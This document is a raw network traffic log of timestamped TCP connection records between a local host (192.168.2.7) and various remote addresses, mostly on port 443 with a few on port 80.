Nov 18, 2024 08:55:31.305386066 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.310992956 CET	443	49775	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.311422110 CET	49775	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.311443090 CET	443	49775	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.311512947 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.311585903 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.311681032 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.311687946 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.311733007 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.312057972 CET	49775	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.312063932 CET	443	49775	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.317583084 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.323497057 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.323565960 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.323571920 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.329375982 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.329444885 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.329452991 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.329457045 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.329502106 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.335402966 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.340635061 CET	443	49776	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.341203928 CET	49776	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.341223955 CET	443	49776	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.342169046 CET	49776	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.342175007 CET	443	49776	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.360579014 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.360611916 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.360673904 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.360693932 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.360701084 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.360760927 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.360765934 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.360810041 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.360894918 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.361346006 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.361382961 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.361398935 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.361403942 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.361438990 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.363820076 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.369090080 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.369148970 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.369154930 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.374388933 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.374422073 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.374448061 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.374454021 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.374500036 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.377779007 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.381022930 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.381047010 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.381078959 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.381088018 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.381123066 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.381302118 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.381336927 CET	443	49772	142.250.185.174	192.168.2.7
Nov 18, 2024 08:55:31.381392956 CET	49772	443	192.168.2.7	142.250.185.174
Nov 18, 2024 08:55:31.388227940 CET	443	49777	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.388384104 CET	443	49773	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.388550043 CET	443	49773	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.388606071 CET	49773	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.388748884 CET	49773	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.388763905 CET	443	49773	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.388897896 CET	49777	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.388917923 CET	443	49777	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.389413118 CET	49777	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.389419079 CET	443	49777	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.392020941 CET	49782	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.392050982 CET	443	49782	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.392121077 CET	49782	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.392266989 CET	49782	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.392272949 CET	443	49782	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.399179935 CET	443	49774	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.399360895 CET	443	49774	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.399422884 CET	49774	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.399475098 CET	49774	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.399475098 CET	49774	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.399506092 CET	443	49774	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.399530888 CET	443	49774	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.402100086 CET	49783	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.402143002 CET	443	49783	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.402230978 CET	49783	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.402339935 CET	49783	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.402369022 CET	443	49783	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.445758104 CET	443	49775	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.445847034 CET	443	49775	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.445950985 CET	49775	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.446166039 CET	49775	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.446192980 CET	443	49775	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.446208000 CET	49775	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.446216106 CET	443	49775	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.449493885 CET	49784	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.449590921 CET	443	49784	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.449681997 CET	49784	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.449831963 CET	49784	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.449852943 CET	443	49784	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.473185062 CET	443	49776	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.473251104 CET	443	49776	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.473387003 CET	49776	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.473675013 CET	49776	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.473675013 CET	49776	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.473695040 CET	443	49776	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.473710060 CET	443	49776	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.476584911 CET	49785	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.476613998 CET	443	49785	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.476697922 CET	49785	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.476856947 CET	49785	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.476871967 CET	443	49785	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.517803907 CET	443	49777	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.518013000 CET	443	49777	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.518115997 CET	49777	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.518143892 CET	49777	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.518158913 CET	443	49777	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.518168926 CET	49777	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.518174887 CET	443	49777	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.520762920 CET	49786	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.520792961 CET	443	49786	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.520865917 CET	49786	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.521023989 CET	49786	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:31.521032095 CET	443	49786	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:31.581583023 CET	443	49778	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:31.581960917 CET	49778	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:31.581973076 CET	443	49778	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:31.582998991 CET	443	49778	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:31.583084106 CET	49778	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:31.583509922 CET	49778	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:31.583569050 CET	443	49778	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:31.632951975 CET	49778	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:31.632962942 CET	443	49778	142.250.184.196	192.168.2.7
Nov 18, 2024 08:55:31.679960966 CET	49778	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:31.773355007 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:31.773816109 CET	49789	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:31.775655985 CET	443	49779	142.250.185.206	192.168.2.7
Nov 18, 2024 08:55:31.775916100 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:31.775924921 CET	443	49779	142.250.185.206	192.168.2.7
Nov 18, 2024 08:55:31.776927948 CET	443	49779	142.250.185.206	192.168.2.7
Nov 18, 2024 08:55:31.776988983 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:31.778223991 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:31.778739929 CET	80	49789	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:31.778820038 CET	49789	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:31.778914928 CET	443	49779	142.250.185.206	192.168.2.7
Nov 18, 2024 08:55:31.778964043 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:31.779475927 CET	49789	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:31.780067921 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:31.780205965 CET	443	49779	142.250.185.206	192.168.2.7
Nov 18, 2024 08:55:31.780256033 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:31.780268908 CET	443	49779	142.250.185.206	192.168.2.7
Nov 18, 2024 08:55:31.780275106 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:31.784363031 CET	80	49789	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:31.820404053 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:31.820415974 CET	443	49779	142.250.185.206	192.168.2.7
Nov 18, 2024 08:55:31.970051050 CET	443	49781	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:31.970129967 CET	49781	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:31.973498106 CET	49781	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:31.973510981 CET	443	49781	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:31.973807096 CET	443	49781	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:32.026185036 CET	49781	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:32.027977943 CET	49781	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:32.063035011 CET	443	49779	142.250.185.206	192.168.2.7
Nov 18, 2024 08:55:32.075335979 CET	443	49781	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:32.117872000 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:32.117886066 CET	443	49779	142.250.185.206	192.168.2.7
Nov 18, 2024 08:55:32.122451067 CET	443	49782	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.122764111 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:32.123033047 CET	443	49779	142.250.185.206	192.168.2.7
Nov 18, 2024 08:55:32.123115063 CET	49779	443	192.168.2.7	142.250.185.206
Nov 18, 2024 08:55:32.125014067 CET	443	49783	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.130352020 CET	49782	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.130362034 CET	443	49782	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.131263018 CET	49782	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.131268024 CET	443	49782	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.132071018 CET	49783	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.132117033 CET	443	49783	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.132460117 CET	49783	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.132472992 CET	443	49783	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.177397013 CET	443	49784	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.177959919 CET	49784	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.177993059 CET	443	49784	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.178668976 CET	49784	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.178679943 CET	443	49784	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.205140114 CET	443	49785	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.207472086 CET	49785	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.207504988 CET	443	49785	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.208396912 CET	49785	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.208401918 CET	443	49785	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.257060051 CET	443	49783	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.257226944 CET	443	49783	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.257281065 CET	49783	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.257678986 CET	443	49782	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.257744074 CET	49783	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.257765055 CET	443	49783	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.257787943 CET	443	49782	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.257828951 CET	49782	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.260346889 CET	443	49786	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.261688948 CET	49782	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.261707067 CET	443	49782	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.261718035 CET	49782	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.261723042 CET	443	49782	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.263989925 CET	49786	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.264015913 CET	443	49786	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.264926910 CET	49786	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.264938116 CET	443	49786	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.268867970 CET	49790	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.268893957 CET	443	49790	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.269045115 CET	49790	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.269335032 CET	443	49781	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:32.269401073 CET	443	49781	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:32.269458055 CET	49781	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:32.271215916 CET	49790	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.271233082 CET	443	49790	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.271585941 CET	49781	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:32.271585941 CET	49781	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:32.271610022 CET	443	49781	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:32.271619081 CET	443	49781	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:32.272613049 CET	49791	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.272644043 CET	443	49791	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.272706032 CET	49791	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.272835970 CET	49791	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.272850990 CET	443	49791	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.312567949 CET	443	49784	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.312633991 CET	443	49784	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.312683105 CET	49784	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.312973976 CET	49784	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.312989950 CET	443	49784	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.313004017 CET	49784	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.313011885 CET	443	49784	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.316179037 CET	49792	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.316231966 CET	443	49792	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.316299915 CET	49792	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.316601992 CET	49792	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.316634893 CET	443	49792	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.327902079 CET	49793	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:32.327954054 CET	443	49793	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:32.328092098 CET	49793	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:32.328581095 CET	49793	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:32.328598022 CET	443	49793	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:32.339935064 CET	443	49785	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.340090990 CET	443	49785	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.340142965 CET	49785	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.341248035 CET	49785	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.341262102 CET	443	49785	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.341303110 CET	49785	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.341309071 CET	443	49785	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.345191002 CET	49794	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.345237017 CET	443	49794	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.345289946 CET	49794	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.345468998 CET	49794	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.345480919 CET	443	49794	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.411453009 CET	443	49786	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.411531925 CET	443	49786	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.411588907 CET	49786	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.411856890 CET	49786	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.411878109 CET	443	49786	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.411897898 CET	49786	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.411904097 CET	443	49786	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.415163040 CET	49795	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.415196896 CET	443	49795	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.415271997 CET	49795	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.415457010 CET	49795	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:32.415472031 CET	443	49795	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:32.920953989 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:32.921001911 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:32.921104908 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:32.922894955 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:32.922921896 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:33.007787943 CET	443	49790	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.009082079 CET	49790	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.009082079 CET	49790	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.009108067 CET	443	49790	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.009130955 CET	443	49790	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.012660980 CET	443	49791	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.013551950 CET	49791	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.013551950 CET	49791	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.013566017 CET	443	49791	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.013586998 CET	443	49791	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.032501936 CET	443	49792	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.033714056 CET	49792	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.033714056 CET	49792	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.033746958 CET	443	49792	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.033762932 CET	443	49792	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.082359076 CET	443	49794	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.083352089 CET	49794	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.083385944 CET	443	49794	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.083627939 CET	49794	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.083632946 CET	443	49794	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.139277935 CET	443	49790	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.139489889 CET	443	49790	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.139699936 CET	49790	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.139699936 CET	49790	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.139734030 CET	49790	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.139746904 CET	443	49790	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.142760038 CET	49797	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.142791986 CET	443	49797	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.143106937 CET	49797	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.143337965 CET	49797	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.143349886 CET	443	49797	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.145977974 CET	443	49791	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.146119118 CET	443	49791	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.146258116 CET	49791	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.146258116 CET	49791	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.147478104 CET	49791	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.147484064 CET	443	49791	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.148565054 CET	49798	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.148586035 CET	443	49798	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.148768902 CET	49798	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.148768902 CET	49798	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.148792028 CET	443	49798	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.152631998 CET	443	49795	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.153316975 CET	49795	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.153338909 CET	443	49795	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.153531075 CET	49795	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.153538942 CET	443	49795	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.170351982 CET	443	49792	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.170413971 CET	443	49792	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.170653105 CET	49792	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.170653105 CET	49792	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.170701027 CET	49792	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.170715094 CET	443	49792	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.173023939 CET	49799	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.173043013 CET	443	49799	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.173307896 CET	49799	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.173307896 CET	49799	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.173327923 CET	443	49799	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.176086903 CET	443	49793	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:33.176282883 CET	49793	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:33.177450895 CET	49793	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:33.177459002 CET	443	49793	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:33.177881956 CET	443	49793	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:33.178062916 CET	80	49789	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:33.178977966 CET	49793	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:33.179231882 CET	49789	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:33.210810900 CET	443	49794	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.210962057 CET	443	49794	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.211253881 CET	49794	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.211529016 CET	49794	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.211529016 CET	49794	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.211544037 CET	443	49794	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.211553097 CET	443	49794	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.219335079 CET	443	49793	184.28.90.27	192.168.2.7
